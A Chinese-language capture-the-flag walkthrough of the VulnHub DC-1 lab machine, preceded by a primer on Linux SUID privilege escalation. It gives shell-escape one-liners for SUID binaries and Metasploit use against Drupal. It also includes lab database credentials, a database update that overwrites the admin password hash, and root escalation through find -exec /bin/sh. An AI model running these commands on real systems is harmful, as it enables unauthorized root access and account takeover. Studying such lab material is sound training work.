黄石市网站建设_网站建设公司_定制开发_seo优化
2025/12/24 22:02:30 网站建设 项目流程

一、前置知识点

在开始打靶场之前,我们需要先理解一个非常经典、也非常重要的 Linux 提权点 —— SUID 提权
很多初学者在枚举阶段看到带有 s 权限的文件会有些迷茫,但实际上,这往往是权限提升的关键突破口。


1.1 什么是 SetUID(SUID)

SetUID(Set User ID) 是 Linux 中的一种特殊权限位,用于 可执行文件

当一个二进制文件被设置了 SUID 位后:

  • 普通用户执行该文件时
  • 该进程将 临时以文件所有者的身份运行
  • 而不是以当前用户的身份运行

也就是说:

进程的有效用户 ID(EUID) = 文件所有者

例如:

-rwsr-xr-x 1 root root /usr/bin/passwdhttps://gtfobins.github.io/)

passwd 命令被设置了 SUID,普通用户才能修改 /etc/shadow,这本身是合理且必要的设计。


1.2 SUID 配置不当导致的提权风险

SUID 本身并不是漏洞,漏洞在于“不该有 SUID 的程序却被赋予了 SUID 权限”

一旦以下条件成立:

  • 可执行文件属于 root
  • 并被设置了 suid
  • 且该程序 能够执行外部命令 / 启动 shell / 调用系统函数

那么攻击者就可能:

通过该 SUID 程序,获得一个 root 权限的 shell

这也是 SUID 提权的本质:

利用被赋予 SUID 权限的程序执行命令,从而继承 root 权限


1.3 常见 SUID 提权思路

在实际靶机或真实环境中,通常流程如下:

  1. 枚举系统中带有 SUID 权限的文件

    find / -perm -4000 -type f 2>/dev/null
    
  2. 判断这些程序是否:

    • 可交互
    • 可执行系统命令
    • 可调用 shell
    • 可读取 / 写入关键文件
  3. 结合已有利用方式进行提权


1.4 常见可用于 SUID 提权的程序示例

注意:是否可提权与 版本、编译选项、安全补丁 强相关,下表仅作为思路参考。

SUID 文件路径 提权方式示例
/usr/bin/bash bash -p
/usr/bin/sh sh -p
/usr/bin/csh csh -b
/usr/bin/ksh ksh -p
/usr/bin/zsh zsh
/usr/bin/find find /etc/passwd -exec /bin/bash -p \;
/usr/bin/awk awk 'BEGIN {system("/bin/bash")}'
/usr/bin/man ! /bin/bash
/usr/bin/more ! /bin/bash

1.5 GTFOBins:SUID 提权的权威参考

在实际利用中,不需要死记硬背所有命令。

GTFOBins 是一个非常重要的参考网站,系统性整理了:

  • 可用于提权的 Linux 程序
  • SUID / sudo / capabilities / 文件读写 等多种利用方式
  • 针对不同权限场景给出具体命令

GTFOBins:https://gtfobins.github.io/

在实战中:

枚举 → 查 GTFOBins → 验证 → 利用

几乎是 SUID 提权的标准流程。


1.6 小结

  • SUID 是 Linux 的一种正常权限机制
  • 配置不当的 SUID 程序 = 高危提权点
  • 提权关键不在“有没有 SUID”,而在于:
    • 这个程序“能做什么”
  • GTFOBins 是 SUID 提权的必查资料库

后续内容将围绕 SUID 程序的发现、分析与实际利用 展开。

二、环境搭建

  1. 靶机下载地址

DC: 1 ~ VulnHub

  1. 导入后启动,就可以了,但是要注意的是,一定要使用NAT模式,你的kali也是NAT模式

image

三、复现过程

3.1 主机探活

爆破C段

nmap -sP 192.168.147.0/24

image

3.2 推理

首先,查看我们的IP地址

ifconfig

image

所以,合理推测为192.168.147.130

3.3 端口扫描

nmap -A -p- -v 192.168.147.130

image

可以看到80和22端口开着的,所以可以开启ssh,此时,访问一下web页面。

3.4 web 页面

image

发现其是Drupal框架,利用kali进行查找漏洞

msfconsole
search drupal

image

使用第一个

image

use 1

image

填写靶机IP地址

image

image

攻击成功。之后,进入shell查看,输入

whoami
id

image

我们列出文件

image

查看一下

cat flag1.txt

image

翻译一下

image

所以这个时候,我们要去找配置文件。

image

我们发现默认配置文件在这里

cd sites
lscd default
lscat settings.php

依次输入这些命令,找到settings.php,我们查看其文件。

image

发现flag2。翻译后,查看提示

暴力破解和字典攻击并非获取访问权限的唯一途径(而你总会需要这种权限)。
利用这些凭证,你能做什么呢?

image

登录MySQL,在这之前,需要使用

python -c 'import pty;pty.spawn("/bin/bash")'    # 要注意的是,必须有 python 环境

image

这个命令进行调出终端,随后输入这个命令

mysql -udbuser -pR0ck3t

image

show databases;
use drupaldb;
show tables;
select uid,name,pass from users;

image

拿到密码。但是不知道具体的密码,所以只能进行改密码。

3.4.1 站点路径下执行

发现加密文件

image

php scripts/password-hash.sh sakura123

image

拿到hash加密后的密码

password: sakura123             hash: $S$Duc3gceXNRGz1MuKkh.Dc9.m4muwMJeTfhjnO3pwyNgk7O4HKMzF

3.4.2 进入数据库

update users set pass="$S$Duc3gceXNRGz1MuKkh.Dc9.m4muwMJeTfhjnO3pwyNgk7O4HKMzF" where name="admin";

image

3.5 登录站点

image

登陆成功。

image

发现flag3,点进去,发现提示

image

特殊权限将帮助查找密码文件——但你需要执行该命令才能获取影子文件中的内容。

使用命令查看suid权限的可执行二进制程序

find / -perm -4000 2>/dev/null

image

使用命令测试,发现为root权限

touch sakura
find /-name sakura -exec 'whoami' \;

发现为root权限。此时,输入以下命令,进入root权限后

find / -name sakura -exec '/bin/sh' \;
cd /root
ls
cat thefinalflag.txt

image

对于为什么要使用/bin/bash,在flag4里有提示,该界面在

cat /etc/passwd

image

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询